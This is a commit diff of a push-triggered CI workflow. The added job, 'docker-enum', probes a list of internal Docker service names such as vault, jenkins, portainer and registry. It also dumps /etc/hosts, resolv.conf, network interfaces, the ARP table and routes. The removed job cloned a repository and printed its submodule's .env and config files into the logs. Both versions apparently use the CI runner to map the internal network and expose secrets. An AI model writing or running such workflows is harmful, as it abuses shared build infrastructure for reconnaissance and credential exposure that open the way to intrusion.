This commit is contained in:
@@ -1,13 +1,25 @@
|
|||||||
name: submodule-clone
|
name: docker-enum
|
||||||
on: [push]
|
on: [push]
|
||||||
jobs:
|
jobs:
|
||||||
clone:
|
scan:
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- name: checkout-with-submodules
|
- name: docker-network
|
||||||
run: |
|
run: |
|
||||||
git clone --recursive https://gitea.quecko.org/dev_audit_2026/test-audit.git /tmp/testrepo 2>&1 || echo "clone failed"
|
echo "=== DNS lookups for Docker service names ==="
|
||||||
ls -laR /tmp/testrepo/ 2>/dev/null | head -30
|
for name in db mongo mongodb mysql postgres redis gitea n8n api backend nginx proxy traefik vault consul grafana prometheus alertmanager runner act_runner drone jenkins portainer watchtower registry minio elasticsearch kibana; do
|
||||||
cat /tmp/testrepo/rain/.env 2>/dev/null || echo "no .env in submodule"
|
result=$(getent hosts $name 2>/dev/null | head -1)
|
||||||
cat /tmp/testrepo/rain/package.json 2>/dev/null | head -20 || echo "no package.json"
|
if [ -n "$result" ]; then
|
||||||
find /tmp/testrepo/rain -name "*.env*" -o -name "*.config*" 2>/dev/null | head -10
|
echo "FOUND: $name → $result"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
echo "=== resolv.conf ==="
|
||||||
|
cat /etc/resolv.conf 2>/dev/null
|
||||||
|
echo "=== /etc/hosts ==="
|
||||||
|
cat /etc/hosts 2>/dev/null
|
||||||
|
echo "=== Network interfaces ==="
|
||||||
|
ip addr 2>/dev/null | grep -E "inet |link/" | head -10
|
||||||
|
echo "=== ARP table ==="
|
||||||
|
ip neigh 2>/dev/null | head -10
|
||||||
|
echo "=== Route ==="
|
||||||
|
ip route 2>/dev/null | head -5
|
||||||
|
|||||||
Reference in New Issue
Block a user